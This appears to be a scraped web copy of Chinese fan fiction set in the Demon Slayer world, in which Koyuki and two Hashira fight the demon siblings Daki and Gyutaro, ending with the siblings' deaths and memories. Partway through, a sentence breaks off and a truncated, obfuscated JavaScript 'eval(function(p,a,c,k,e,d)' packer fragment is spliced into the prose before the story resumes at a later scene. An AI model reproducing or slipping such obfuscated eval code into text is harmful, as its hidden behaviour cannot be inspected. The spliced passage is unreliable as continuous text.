好痛苦,好痛苦,连眼睛也睁不开了。一百年来都不曾见过太阳的女鬼,浑身如被火炼。 但没关系,这夕阳很快就落下去了! “你以为这点余晖能对我怎么样吗,我这就……”感觉到阳光渐隐的堕姬,正想重新发起攻势,但面前衣带散开后,浮在她浅绿色鬼瞳中的,是一张已逼近在方寸之间的,雪白美丽的脸。 没有任何表情的,雪白美丽的脸。 那淡蓝的刀锋也已经架到她脖颈上。 夕阳的余晖,当然不足以杀死一个上弦,但只要她的防御和视野暂时没用就可以了。 她的日轮刀已经砍入这个鬼的脖颈,只要再用力一点,一切就能结束。对上弦鬼无法再施以干天慈雨的悲悯,她只想手起刀落,速速斩断这游郭之女罪孽而悲哀的一生—— 但忽然间,刀锋所至的触感,变得无比柔韧。 “太阳已经完全落下去了,你这……野蛮的疯女人!” 上一秒还是女人颈项的地方,瞬息之间变成了数条狂舞的绸带。 上弦鬼曼丽的身形,瞬间也化作无数猩红绸带,层层散开去。绸带短暂维持了一两秒女形的轮廓后,宛如血浆喷溅般,顿时充斥了整个空间,外室、内室、走廊,甚至,蔓延出窗外,是数百条丝绸的猩红网罗。 不好,这个鬼把她的形体完全变成绸带了,这样根本分不清哪里是她的脖子! 再度袭来的绸带,密如蛛网,再没有可供她闪避的空隙,这是逼她不断挥刀消耗体力的策略。 但之前猗窝座先生陪她练习了小半个月,她现在的体力应该够她重新发现这个鬼的破绽,再次找到她的脖子。 恋雪深吸一口气,重新调整呼吸,将所有注意力凝聚。 飞卷而来的绸带,再她冷静而迅疾的剑招下接连断开。快想,快想,她的脖子会是在哪里! 一根丝弦,忽然在她脑海中连起。 为什么从刚才开始,这个一直说个不停的上弦鬼就没有再说话了? 就在她打算试探的时候,脚下的榻榻米忽然裂开一隙,猩红衣带如喷涌的岩浆般即将—— “三之型,恋猫时雨!” 看似轻盈但很快便如飓风烈焰涌起的粉红光辉,将下一秒就要碰到她的红绸悉数斩断。 一双形状优美但无比结实的手拉起她,退后一步,落入身后的空地。密密如网落的衣带,也早已被同来的另一人清理大半。 蜜璃摸了摸后脑:“抱歉抱歉,和宇髓先生为了砍断缠在京极屋入口那些腰带多花了一分钟。” 恋雪感激地向她点头,而后迅速问道:“善逸君和炭治郎君他们呢?” 天元道:“喔,刚才在门口遇到了逃出来的京极屋老板,我揪起他的领子问了他雏鹤的去向,现在炭治郎他们去找雏鹤了,还有顺便疏散游郭里的人群。”本来还想威胁那个老板来着,结果就一会的功夫,直接开打了。 也不知道素山和黄发小子是太幸运还是太倒霉了,这就碰上了鬼。 知道三个后辈没事后,恋雪也不再多说什么,立刻道:“这个鬼完全化作衣带了,衣带上还有毒。” 蜜璃道:“这还是我第一次看到这么恐怖的和服腰带,也没什么漂亮的设计,总觉得有点丑……” 她的语气,实在是很真诚,很无辜。仿佛她当真站在和服店的橱窗前,发现了一条很上不得台面的腰带。 天花板上重新生出的衣带中,似乎有片刻的凝滞。 “你这染了一头奇怪发色的女人居然敢……!” 出现了,声音。 恋雪急忙道:“就是现在,宇髓先生,声音传来的方向!” 几乎是她话音落下的时刻,清脆的斩击声响起。 干净利落地砍下了那根发出声音的绸带,天元收起双刃。 盘踞了整个天花板的绸带,一条条萎靡垂落。 蜜璃眼睛亮晶晶地看向他和恋雪:“不愧是宇髓先生,这么快就把上弦六给解决了,好帅气。小雪也超级厉害,立刻就发现了这个鬼的脖子——” 对蜜璃的夸奖,恋雪虽然有些脸红,也略带羞涩地接受了。但天元却是不着痕迹地,往旁边的方向挪动了一步。 喂喂喂这么看着素山就算了,不要这么看着我,虽然我们先开战了,但我没派鎹鸦去叫伊黑别来了,他现在说不定就在路上呢。 他自觉已经和伊黑喜欢的战友保持了合适的友谊距离,这才道:“不,都隐匿在这堆衣带里了还会忍不住出声暴露自己脖子的位置,这种战斗素养不是上弦。” “你在瞎说什么,居然敢说我不是上弦!” 地上散落的玫红色绸带发出不甘的声音。 似乎已经失去力气的绸带,虚弱地、缓缓地,汇聚成一具断首的女性身躯。 而另一侧几根绸带,则汇聚成她滚落到角落的美丽头颅。 “因为你就不是上弦啊,怎么会有这么不华丽的上弦,太弱了,”天元将双刀抗在肩上,道,“你已经没用了,就低调地去死吧。” 女鬼眼冒泪花地辩解:“我还没输给你呢,我可是上弦!” 天元不耐烦道:“你明明就输了好不好,一目了然,头都滚到一边去了。” “我可是相当厉害的,别看我现在才位居第六,今后我一定会变得更强……” “毫无说服力。” “我才没有撒谎,我真的是上弦之六!我连眼睛里的数字都得到了,我明明很厉害!” 刚刚只是冒出几滴泪的女鬼,此时已经嚎啕大哭起来。 恋雪重新举起日轮刀:“等等,宇髓先生、蜜璃前辈,似乎有什么不对劲……” 天元的神色,显然也察觉到了不妥。 为什么这个女鬼被砍头后还能喋喋不休,甚至有力气大哭,身体也没有瓦解? 哭声越来越响亮,在房中回荡。一如一个天真的孩子,输了游戏后蛮横地撒起娇来。 而她撒娇的对象自然是…… “去死,去死,全都去死!哥哥!人家的脖子被砍断了,他们一起欺负我,哥哥——” 从花魁断首身躯雪白的背部,发出了皮肉纠缠的声音。 游人的眼往往被艳丽梅花吸引,而没有注意到一直支撑着这娇柔花朵的苍劲虬枝梅树。 几乎在那道身影从女鬼背部爬出的瞬间,蜜璃和天元就向他的方向攻击而去。半秒内扬起的烟尘血雾中,那身影迅速抱着妹妹的身躯避开。他闪身而至的地方是——恋雪站在堕姬头颅滚落的方向,将淡蓝的刀锋挥下。 肌肉虬起的青灰色手臂将她的刀挡住了。臂上血红的布料,和那女鬼身上飞舞而出的腰带是一模一样的花纹。 满布黑斑的邪异面容从幽暗灯光中抬起来:“好久不见,这不是,上弦之三大人的相好吗?” “大人很欢迎你加入鬼月的行列,”他打量了恋雪一眼,那眼神仿佛在说你的脸比起我妹妹真是差远了,“而且这是我可爱的妹妹亲自求问大人,从上弦三手里抢过来的任务。你就乖乖地达成我妹妹的心愿吧。” 男鬼血红的镰刀中顿时浮出一道暗红的痕迹,像有一脉毒蛇在刀锋上穿行,要向她臂上暴露在外的伤口咬去。 恋雪根本懒得管他在说什么,闪身往旁边一躲。 但空中很快有另一弯血镰飞旋而来,甚至追击着她闪避的方向拐弯。 爆炸的音鸣响起,那血镰被天元挡下了。 “啊,差点把大人的血浪费了。反应挺快的嘛,本来还想看看当着柱的面把你们的队员变成鬼会怎么样。” 算了,先把妹妹的头接回去吧,从刚才开始就傻愣愣地在一边哭,都不知道自己把头接好。 天元哈一声:“上弦之六居然在战斗中使用这种毫无技巧的反间计。素山队员和上弦之三的鬼,一听就知道你们在鬼扯吧。” “是真的啊!她就是和那个疯子在一起,我都亲眼看到了!那个疯子还为了她特意来游郭警告我和哥哥,摆出一副上级鬼架子给我们脸色看!”堕姬扶着刚被兄长接好的头颅,纤长的眉拧成一团,可恶,为什么他们不相信,刚刚那个黄发小子也是!有那么离谱吗,这个疯女人配上弦三那个疯子不是正好! 又一道粉红的光辉卷过,将重新飘出、群蛇狂舞的绸带斩落。 “小雪和谁在一起又关你们什么事,随便议论别人,造谣别人情感隐私的人很差劲!” “只要把你们两个的头一起砍下来就行了吧,”天元早已判断出这两个鬼的战力高低,“我和甘露寺对付这个男的,素山你就把那个女鬼的头给砍了。” 他双刀向前,张扬笑道:“总之,我们三个华丽地上吧。” * 京极屋的天花板早已在爆炸中破开,游郭的屋脊上,接连腾起巨大的轰鸣和各色辉煌光芒。 苍青色螳螂般穿行在其中的鬼,心中不悦至极。 还什么华丽地上吧,真是狂妄至极的发言。 让人万分地,不悦。 完成这次任务之后就要听从大人的命令离开游郭,本来他心里就烦得很,还要碰上这么几个健全、自信、积极,一看就生活美满的家伙。俊美得让人恶心的男人,看上去像个富家小姐一样的女人,还有那个从他眼皮子底下救走了两个游女的素山恋雪。 居然还煞有其事地分配起战力来了……真正的战斗,谁会管你怎么分配啊—— 他直接传音给堕姬道:“妹妹,你先去找那个灶门炭治郎,优先完成大人最在意的任务。” “诶?那哥哥你?” “我留在这里对付这三个家伙,顺便完成大人的另一个任务。” 杀两个柱,固然是功劳一桩,但这不是那位大人下达的命令。 他现在的计划是,让妹妹先去解决那个鬼杀队小子,然后他留在这优先把那个什么素山变成鬼,再把妹妹召唤回来一起把这两个柱杀掉,锦上添花。 在他的判断里,去杀那个鬼杀队小鬼比杀眼前的两个柱和一个甲级剑士要容易得多。而且杀灶门炭治郎才是无惨大人下达杀令的对象,让这个女剑士变成鬼只是顺带的任务。 妹妹一直很想获得无惨大人的认可。 既然如此,身为哥哥的他就留在这里牵制主要战力,把重要且轻松的任务让给妹妹完成。 灶门炭治郎,不过是和大人记忆中那个战国时代的剑士有一样的花札耳环而已,他觉得没什么了不起。虽然那个小鬼杀了下弦之一,但下弦之一和上弦之间有断崖般的差距。比起留在这里和这三个战斗经验明显丰富很多的剑士缠斗、消耗体力,让妹妹去解决那个小鬼更合适她。 不过,就算只是去碾死一只蚂蚁,也还是保险为上—— “你走前,我分一只眼睛给你。” 他螳螂绿的幽异眼睛闭上一侧。 然而,仅剩的一只眼中,顷刻闪过一片淡粉的羽织。 是利用了他一秒钟的视野死角吗。 空中顿时飞起密密层层的血之刃风,组成一片猩红屏障。 冰冷苍青肌肉虬起的臂,瞬间锁住恋雪的脖子,瞬移而至的鬼笑道:“想去哪啊,这位鬼杀队的小姐?想去追我的妹妹?”一如螳螂钳住猎物的姿势。 居然敢在他的眼皮子底下耍花招。 这里可是吉原游郭。是他这个……吉原最强大的妓夫的主场! 速战速决,强行掰开她的嘴把血液灌进去—— 被他紧锁的人眼中却冷静依旧,只将手中的日轮刀反手削上他的脖子。 妓夫太郎觉得很好笑:“这种滑稽的角度,你能用力吗?连一寸也砍不进来吧?” 好自高自大的鬼。除了猗窝座先生还能说是有几分可爱之外,其他鬼口中吐露出这种狂妄的发言都让她觉得很无语。 谁想用这种角度砍下他的头了,她想的是,暂时牵制住他。 另一侧,天元的钢刃早已砍向他脖子的另一侧。 “坚持住,素山!从两侧一起发力,把他的头砍了!先砍下他的头,让他的身体连接不回去我们再去砍他的妹妹应该也可以!” 但两侧刀锋中间响起的是一声冷笑。 随后,上一秒仿佛还陷入困境的鬼双臂一展,高瘦妖异的身形化作层层飞旋的猩红风刃。 “小雪、宇髄先生!” 恋之呼吸的绚烂粉光翻涌而起,击碎了即将席卷二人的血刃。 他这一招完全和他妹妹一样,要不是还有蜜璃前辈化解他的攻击,刚才距离如此之近,一定会有数十道带毒的风刃直接砍到她和宇髓先生身上。 任是如此,刚才鬼的攻击爆发时,宇髓先生第一反应是帮她挡了一下。 “宇髓先生,你的额头……”恋雪匆匆一顾,只见天元眼睛上方已蔓延了一小块紫斑。 “没事,这点小毒对我来说不值一提,只是,”钻石护额歪斜,半边额头被鲜血浸染,天元脸上仍是倜傥的笑容,“有点太不华丽了。本来想轻松地带你这个后辈躲过去,居然还是被那个鬼的攻击擦中,实在是有失我的风度。” * 远处传来若隐若现的鸣响。火焰爆裂的声音,雷电疾闪的声音。 “甘露寺、素山,大概是炭治郎他们和那个女鬼打起来了。他们几个一起对付那个女鬼还可以,我能听到他们战斗的节奏,保持得不错。” 蜜璃爽快笑道:“那我们也得快点解决这个家伙才行!” 这三个家伙不是满头汗就是毒素逐渐蔓延,还敢在这有说有笑,故作轻松。 周旋在三人之间的上弦之六,听见这两个柱的发言,不屑地冷笑一声。随后,在下一次攻势到来时再次化作血色的风,锋利的猩红风暴翻涌。 战斗波及之处,一座座游女屋倒塌轰鸣,烧起火光。大地上逐渐蔓延的焰火和空中血色融为一体,构成一片猩红宇宙。 幸好附近都没什么人了,炭治郎君他们刚刚应该已经把人群疏散出去了,做得好。恋雪短暂扫了一眼周围,确认没有人后,思绪再度回到眼前的上弦之六身上。 为什么他不一直用刚才那一招?如果一直变成血风刃的形态,又能大范围进攻又能灵活躲避,岂不是完全无懈可击。风刃也比他妹妹变成的绸带更无所定形,难以锁定。偏偏要像这样,时不时就变回人形,被他们找到间隙砍中。 除非…… * “猗窝座先生,其实我有个问题好奇很久了……” “什么?” “你平时战斗为什么不一开始就用青银乱残光?” 他仿佛被她逗笑了,信手揉了揉她的头发:“这是什么傻话,一开始就用青银乱残光多无聊,当然要一招一招,逐渐、逐渐,享受循序渐进的、高涨的喜悦才好。而且也没有人能让我一开始就用青银乱残光。” “真的没有吗?”她趴在他大腿上,笑道,“那你这么无敌是多么孤独。” “也不是没有。” “我那群恶心的“同伴”里唯一一个不算特别恶心的,上弦之一。” “那天我判断失误了,一开始就一直在用青银乱残光和破坏杀灭式,到后面有点……” “有点体力不支?” “开玩笑,我怎么会体力不支,只是不小心被他找到了破绽!” 似乎有点恼羞成怒了,他把她从他大腿上拉了起来,小小地惩罚她一样把她紧楼在怀中。 “你想体验一下我有多少体力的话,我倒是可以……”他双手环着她瘦薄的背,俊美面容从她雪白锁骨间仰起来,看着她戏谑笑道,“和你试试一开始就用青银乱残光的战斗是怎么样的。然后把方圆百里的房子都打烂之后,你这个欠下周围人类巨款的女人就只能跟着我,躲到天涯海角了。” * 猗窝座先生,谢谢你。 “他没有办法一直用这一招,不间断地运用最厉害的血鬼术,他的体力会大量消耗。” 恋雪向天元和蜜璃喊道:“我们要调整作战的策略,如果从多个方向同时大范围进攻,为了躲避,他只能连续使用这个血鬼术!先消耗他的力量再——” 什么? 妓夫太郎妖绿的瞳孔疾速一转,那个人类刚说完,一直和他近身搏斗想趁机砍下他脖子的两个柱果然向后一跃,与他拉开了距离。 浩瀚的光辉从不同方向涌来。 * 分了一只眼睛出去之后,要在三种呼吸法密不透风的攻势下突破重围,确实是,需要他一直使用最新降临在他体内的血鬼术。 远处,重新现身的上弦之六手握血镰,立在一座切妻造屋顶的鬼瓦构件之上,脚踩瓦做的鬼面,神色阴冷无比。 该死,中计了。 吸收了那位大人赐予的血液,他的力量本是更加强大,但这三个人一直密切配合,烦得很!妓夫太郎极其烦躁地,一直挠着自己的眼皮和身上苍白皮肤。 更不用说,好几次被那个男的砍中了脖子之后,他脖颈的愈合速度越来越慢。那个家伙的钢刀上涂了紫藤花萃取的汁液! 这一届的鬼杀队队员比起以前那些杂碎,真是要烦人不少……鬼蛇绿的瞳,阴冷之色愈发浓重,飞快分析着现在的战局。 如果要战胜这两个柱,大概真的要用完所有体力。 不过嘛……他的目标又不是这个。 “喂,你这个女人,反正变成鬼之后也会重新把残缺的肢体长出来,暂时缺胳膊少腿的,也没事吧?” 恶鬼狂狷笑着:“我本想最好不要和上弦之三结仇,稍微‘完整’一点地,把你变成鬼。但现在我的耐心用完了,我改变主意了。” 刹那,从他伤口中流下的血,都化为丛丛血刃都向着恋雪的方向飞去—— “小雪!” “素山!” * 血刃不过是掩护。 以为只有他们三个才会使诈吗? 那两个柱忙着出招想化解飞涌而去的猩红风刃时,他早已—— 恋雪的花瞳向旁边一转,不对,不是风刃飞来的方向。 但鏖战半个晚上,她的体力已经消耗了许多,她的身体落后了她的判断半秒。 仅仅是这半秒之间,一只苍白的手已经掐住她的脖子,带着愤怒、恶意,极其用力。转瞬,在恶鬼的掌下,她雪白脖颈浮出青紫痕迹。 上弦之六从另一个方向闪现出来,单手掐住她的脖子,一发力,顿时带着她飞出数条街巷,贯穿十几座游女屋。 火光和废墟屋檐的阴影投下。 “离开了那两个柱,还有谁能帮你?”妓夫太郎冷笑道,掐着她颈项的手越发收紧,“他们找过来也要花几分钟吧,够我用了。” 被这个鬼紧掐,又被他向前推着直接用背部撞上几十面木墙,即使用呼吸法提高身体的机能,也依然有一股巨大的痛苦蔓延了她全身。 他趁她还没完全调整过来,强行撬开了她的嘴。 “你的人生很幸福吧?长着还算漂亮的脸蛋,穿着光鲜亮丽的衣服,有一群什么大学生朋友、有鬼杀队的伙伴,还有个疯了一样痴迷你的上弦鬼,是不是一辈子都无忧无虑无风无浪地过来啊。” 鬼王之血已经从他干枯的指尖凝出。 面容邪异的厉鬼,苍白的脸上泛出兴奋之色。 “不过呢,其实一个人很抗拒变成鬼的话,那位大人的血,大概也只会转化出一个低等的东西。毕竟上弦之月都是鬼中最残忍、最嗜血的存在。像你这种自诩正义的家伙,只能变成一个弱得可怜的下级鬼。” “很快,你的朋友会厌恶你,你的伙伴会来杀你,上弦之三大概也不会再瞧得上一个低级的废物。你就好好享受吧……喝下这滴血之后,失去所有幸福的,低等的生活!” 回应他的是眼前女人的沉默。 “啊,真没意思,一点反应都没有,只会瞪着眼睛看过来,像根木头一样。原来上弦三喜欢这种木头……”在这即将摧毁别人幸福的时刻,妓夫太郎原本还有几分兴奋,但见猎物连挣扎也没有,那狂热的兴奋逐渐散去了,“算了,你就快把这滴血喝下去,好让我们完成任务——” 妖艳的鬼血即将滴落,即将侵入她唇中。 然而紧钳着她下巴的手,忽然一阵战栗,松开了。 【叮。道具“快吃我一记回忆杀!”光环已启动。】 没有必要和鬼进行多余的对话。 反正除了猗窝座先生和珠世小姐师徒之外,其他鬼都只会说一些废话。 多余的语言会影响进攻的速度,多余的语言会分散她高度集中的精神。在体力远胜于她的上弦鬼面前,要利用一切机会,高效率地…… 刚才一直沉默,是因为她在思考,要用什么方法来摆脱这个螳螂一样的家伙。 还好这个回忆杀光环不用怎么加载,很快就启动了。 * 珍贵的鬼王之血滴落在地,隐入肮脏泥尘。 鬼捂着额头,佝偻着,痛苦地退后数步。 她深粉色花瞳目光下投,漠然里,带有一分悲哀地看了他一眼。 他和他妹妹一样。瘦削,黑斑,鲨鱼牙,泛黄眼白,是先天性梅毒的病症。而他妹妹,脸上直接就开着梅花般的鬼纹。即使那朵鬼纹再艳丽、再优美,也不过是美化了的,梅毒溃疡。 这两个鬼生前是游郭的受害者,被延续千年的、贩卖人的身体、人的尊严的阴暗交易压迫的普通人。 即使变成鬼,他们也延续着往日的生活,一个当妓夫,一个当游女,一百多年都栖居在这曾吞没他们的泥潭之中,变成泥潭的一部分。 但可悲的经历不是他们杀了那么多人,杀了那么多……无辜的游女的借口。 群魔之中,除了那个人,她不想体谅任何一个。 “消散吧。八之型,泷壶。”恋雪淡蓝刀锋举起。 就在她的日轮刀即将落在他颈上时,一直失魂落魄的鬼,仿佛终于找回了一丝清明。力量已经减弱不少但依然诡谲的飞血镰击出,恋雪一咬牙,顶着会中毒的风险没有躲避,仍将嵌入恶鬼血肉的刀锋往下按。 仿佛意识到她现在连中毒也无所谓,鬼目眦欲裂,用尽最后一丝力量化作猩红的旋风从她刀下遁走。 居然,逃跑了! 她刚想顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那你把你的腰带给我!” “给你我的腰带我的衣服不就散开了吗!” “我不管你快给我——” 忽然,屋顶上吵吵闹闹的声音停顿了一下。 “武道女人!” 恋雪应声抬头,对屋顶上的几人无奈一笑。 从这三个孩子你一言我一语的描述中,她拼凑出了事情的经过。 大致是,这三个孩子发现了上弦之六囚禁受害者的地洞,救出了三位宇髓夫人和其他游女。一番计划后,善逸和伊之助还有三位宇髓夫人去疏散人群了,疏散游郭人群工作量大,多几个人去。炭治郎则决定返回京极屋支援他们。 然后,呃,路上落单的炭治郎君就遇到了上弦之六里那个女鬼。 他独自和对方作战,体力逐渐落于下风,千钧一发之际,是祢豆子妹妹从箱子里出来继续作战。但祢豆子妹妹闻到还没来得及逃走的几个伤者的血味,又被激发了鬼性。 幸好伊之助君半路上通过他百兽之王般的直觉——他自己如是形容,察觉到有什么不对劲,拉着善逸君回来找炭治郎君。 一番鏖战后,他们齐力斩下了对方的头颅,又安抚了暴走的祢豆子妹妹。据善逸君所说,是因为炭治郎君唱了一首他和伊之助君听了恨不得没长过耳朵的摇篮曲……呃。咦,不对,为什么善逸君睡着了还能说话,是在梦游吗?梦游中的善逸君,似乎要比平时稳重一点呀。 一直牢牢抱着女鬼头颅的伊之助道:“武道女人,为什么这个上弦的头砍下来身体还没消失啊!吵死了一直在嚷嚷!” 仿佛是在印证他的话,被他双臂锁着的堕姬很快发出一连串谩骂。 恋雪权当没听到那句句丑字开头的恶毒刻薄言语了,淡然地解释着:“因为上弦之六不止一个,还有一个男鬼。” 炭治郎有些担心:“那……” 恋雪向他投去宽慰的一笑:“没事,他的体力也快耗光了,现在蜜璃前辈和宇髓先生正在追击他。等把那个男鬼的头颅也砍掉之后,一切就结束了。” 游郭之夜的大战会结束,这两个鬼罪孽的一生也会结束。 “哼哼,这次立下这么大功劳,够本大爷当上甲级队员了吧,武道女人,我很快就和你平级了!” “呃,伊之助你……”炭治郎想提醒朋友按照规定似乎是升到丙级,离甲级还差一点点呢,但忽然间,他神色一凛,急忙伸手拉住了对面的恋雪,“素山姐,小心!”一个转身,他的站位已转瞬和恋雪更换,变成了恋雪被他护在身后,而他正面迎上那个—— “你们,随便抱着别人妹妹的头干什么?” 出现在屋脊上的男人,语气森冷。 苍白如幽灵,冰冷如毒蛇,削瘦如钢刀。 他身上还有没来得及愈合的伤口,显然是,一边和天元、蜜璃战斗一边赶过来。 这个鬼身上的气息很强烈,如果如同素山姐所说,上弦之六有两个,这个男的毫无疑问就是本体。而且……他身上的味道和素山姐血液里多出来的一丝气味一模一样。炭治郎将手中的日轮刀更加紧握,很快推理出这个鬼会用毒,而素山姐,很有可能是中毒了。 刚才大家有说有笑,他掉以轻心,居然没有察觉同伴身上的不妥。鬼之毒的气味后,他闻到的是自己的怒意和自责。 火之神神乐,碧罗之天。 与他一起发动攻击的,还有一阵疾驰的雷鸣。 伊之助被恋雪拉住了,因为她能察觉到上弦之六来这里的目的不是要杀他们几个。 “这不是那个灶门炭治郎吗?刚刚在我妹妹的战斗中,你还需要你那个变成鬼的妹妹来保护你吧,太不像话了。”鬼一边战斗一边出言想要激怒与他交战的少年,却并没有把太多力气用在镰刀上。 他现在发出的血镰没有追着炭治郎君和善逸君攻击,而是在不断他们眼前乱舞,更像是为他的移动打着掩护。 “伊之助君,你和我一起防好这个女鬼的头颅,别让他得手——”拉住伊之助的手,对方顿时默契地和她一起退远到更远处的屋顶。 “哥哥!快救我出去!”堕姬嫣红的唇张合不断,激动地呼唤着兄长。 “算你们走运,现在我没空管你们了……”妓夫太郎低声道,抬臂挡却火之神神乐和雷之呼吸,“小梅,过来。” “什么,你这个丑家伙,你休想!本大爷一定和武道女人跑得远远的!” 鬼根本不管那少年的嚷嚷,他一抬手,掌心合拢,原本还被伊之助紧紧钳制的女鬼头颅已经变成一团玫红衣带,源源不断向他飞去。 * “真是的,哥哥你来得太慢了!我一直被那几个丑八怪欺负!” “因为我被那两个柱绊住了。” “还有刚刚你发动血鬼术控制我变成腰带脱离的时候也很慢,害我的脖子差点又被那个公鸭嗓和那个疯女人砍到!” “知道了,下次我一定注意。” 他没有说那已经从他如今需要斟酌使用的力量中又消耗些许。 妹妹的吵闹,他只是随意敷衍着。然后从仅剩的力量中又再分出几缕,猩红丝带缓缓围着堕姬颈项断面打转,修复出女子胸腔上臂的雏形。 火光将游郭的夜映照得妖红。 燃烧的废墟在兄妹二人身侧疾速退去,穿过火光,穿过游郭,是可供他们脱身的广阔尘世。只要混入人群,那群猎鬼人不敢贸然在人群中发动攻势—— 然而怀中的妹妹却像终于反应过来:“这个方向是要去哪里?哥哥你,你想撤退?” 被发现了。看来妹妹还不算很笨。 妓夫太郎在屋顶上飞跃着,目不斜视地点点头:“对,趁他们还没追上来。对付三个经验丰富的剑士加上那群小鬼有点吃力,我们先离开。” “不要。” “不要!不要!难得有这么好的机会,灶门炭治郎和那个女人都在这里,要是什么任务也没完成的话,大人会责怪我们的!” “下次再……” “都说了不要了!哥哥你怎么能逃跑,做这种没有尊严的事情根本不是上弦之六!而且我们可是接受了那位大人的血液,我不想让他失望!” 没有尊严的事情。 那位大人。 这种生死关头,居然还在想着要完成无惨大人的心愿。让无惨大人满意,比和我在一起更重要是吗?你知不知道为了返回头找你我被那两个柱打得多惨! 你一直想着无惨大人的任务,也完全完全……不顾及你自己的安危。 他终于不再纵容妹妹,作出凶狠模样:“闭嘴!你以为谁是上弦之六,你吗?你……三番两次被砍了脑袋,杀一个小鬼都杀不了,净会拖我的后腿……你以为是你有资格接受大人的血液吗,还不是我分了珍贵的鬼王之血给你!你只会想着那位大人,非要在那位大人面前打小报告,结果连累我被那个队士——”不知是假意抑或真心,不知是故作凶恶地吓唬她,还是流露百年来那唯一的一点不满。 然而他语气愈发严厉的恶言停住了。 因为怀中忽然被凶的妹妹,先是愣了一瞬,而后,眼中泛出泪花。 “天还没亮就要逃跑的话,那位大人会惩罚我们的!在鬼的主场,在黑夜里逃跑不就是怯战吗,下弦们都是因为怯战不敢和柱战斗被大人惩罚了啊!变成那副神志不清、什么都不记得的丑陋的样子,我不要……” “我不要忘记和哥哥在一起的记忆,我不要!” 苍凉掠过的夜风中,妓夫太郎沉默了片刻。 “忘掉也没关系,反正人类时和我在一起的记忆不也忘掉了吗。”如果不是那个女剑士动用什么诡计,他根本不会想起来。 他随意笑了一下,声音放得很轻,仿佛这些话只是随口一提:“即使变成低等的下级鬼也没关系,我一定还会找到你,我们还能像这样再重新来过,重新,相伴百年。” “重新相伴百年,然后继续为非作歹吗?”前方却传来男人仿佛调侃的笑声。 轰鸣响起,天元的钢刀劈砍到上弦之六的血镰之上。 “在黑夜里把上弦逼得逃跑,这还是第一次,很不错!” 妓夫太郎绿瞳极度阴鸷:“真是让人火大……你就非要跟上来吗?” “对,我非要跟上来,跟踪敌人可是忍者的必修课,”天元笑容自若,其中一把钢刀被猩红血镰挡住,他便挥起另一侧的武器,继续斩向鬼的脖子,“而且不止我一个人。” 一瞬之间,身后又闪现一人。一道粉光流丽闪过,飞扬的软刀即将把他怀中妹妹的脖子也—— 罗生门河岸黑暗的道路。 逐渐散发出来的焦味。 地上枯寂乌木一样的人形。 明明是彼此唯一的家人,身为哥哥的他却因为晚来一步,只能看着地上被别人放火烧得奄奄一息的妹妹。 鬼杀队剑士的日轮刀嵌入他脖子时,他用尽最后一点力气,将妹妹的身躯向远处推去。 将力量分给妹妹修复身体,妹妹活下来,体力消耗殆尽的他也要死在这了吧。算了,无所谓了,一百年前没能从那个武士手中保护好你,这次即使是消亡,我也会…… 但远处升起的,是一片蓝光和一片赤红烈焰。 “素山姐,找到了!不妙,她的身体在回复……!” “是,炭治郎君的鼻子真灵。没事,她现在的力量应该很虚弱,我们一起把她脖颈处的绸带砍断就好了。” 远处隐隐约约的人声传来。 日轮刀在他脖子中越割越深,但这本该是让所有鬼都战栗惊惧的痛苦,此刻甚至无法让他颤抖一瞬,他全身宛如凝固,目中所见,全是妹妹被另外二人—— * 好想长大。 一百年前的愿望,烈焰的刀锋落下的这一刻,她终于想起。 想长大,因为想当游女。当游女,就能有白米饭吃,就能把白米饭带回来和哥哥一起吃。能穿漂亮的衣服,也能给哥哥裁新的衣服,哥哥虽然瘦削,但身高总是蹿得很快……能一直,一直和她唯一的家人待在一起。 只要努力,说不定还能出人头地,能当上花魁。 穿着漂亮衣服的花魁。前呼后拥的花魁。被包围在赞美声和歌声中的花魁。 长长的美丽的花魁道中,载歌载舞,看不到尽头。 道路两旁,翘首观看花魁之行的人群中,一定也有哥哥那双总是温柔地注视着她、自豪地注视着她的淡蓝色眼睛。她要出人头地,然后配得上哥哥眼中的自豪之色! 一百年前,他们还是人的时候,哥哥的眼睛是如水的淡蓝。 如水的蓝,妖异的绿,无论是什么颜色,他就是她的哥哥,她唯一的家人。 那个鬼杀队少年烈焰灼烧的锋刃贯穿下时,随着火烧般的痛楚,她想起了烈焰在身上点燃前和哥哥一起度过的十三年。 十三年间,一直让哥哥照顾总是闯祸的她。 一百年里,也是靠着哥哥才能跻身上弦。 他爱护她,提携她,托举她,他事事为她兜底。他将一生殷殷心血奉上。而她害他将血流干。 哥哥的脖子,就要被那个柱割下来了。 如果不是她非要在路上和哥哥胡搅蛮缠,哥哥早就成功撤退了吧。 似乎察觉到她眼中的泪光,那个女人原本要用什么雪之呼吸,却在一瞬间变成了另一招。 什么干天的慈雨,谁会需要一个猎鬼人的怜悯…… 无论重来多少次,她一定会选择当鬼。 只是,无论是当人的时候,还是当鬼的时候,一次也没能帮上哥哥的忙。 最后一次,要是能帮上哥哥就好了。 “这是什么,头都被砍下来了,怎么还能……刚刚被伊之助把头砍下来的时候,她明明没有办法从脖子下面生出这些绸带!” 炭治郎和恋雪当即挥刀,要把这些绸带斩断,但刀锋穿过时只是被溅上几滴鲜红,像开在锋刃上的梅花。 “不对,素山姐!她已经死了,这些飘出来的不是绸带,是绸带形状的血,”炭治郎即刻推翻了刚才的判断,“她死前的最后一刻……把力量还回去了。” 随风跌落的花魁的头颅,变回了白发蓝眼少女的面容,然后很快化为灰烬,消散在了风中。 另一个世纪的风吹来,将空中红丝带般血液吹向它的归处。 万血归一。 她的血本来就是他所给予,终究也回到他的骨中去。 * 脖子在迅速愈合。 力量在重新回到他的身体。 火中黑烟冉冉上腾。 从他身上重新迸发的巨大力量,化为千万道飞旋的血镰,瞬息间席卷了方圆百里。 整个世界都在轰鸣。整个世界都安静下来了。 他浴在她的血中,她的血重新给予他呼吸,给予他生命。 如果世上真有地狱,这一刻他已经沉入那地狱道中。 * 血的风暴在黑夜炸开,所有房屋都被摧毁,天上无数火星落下,一如红色的雪。 那天也是这样,漫漫无边的雪夜,天际皑皑飘洒荒凉雪花,像一层即将覆在少女身上的白布。因为和他一起变成鬼,妹妹在那个雪夜死而复生。这一刻,无数的火星,无边的赤雪,像一百年前就该降落在妹妹身上的死亡,终于、终于,彻底降临。 不。 不,不,不,不,不,不,不。 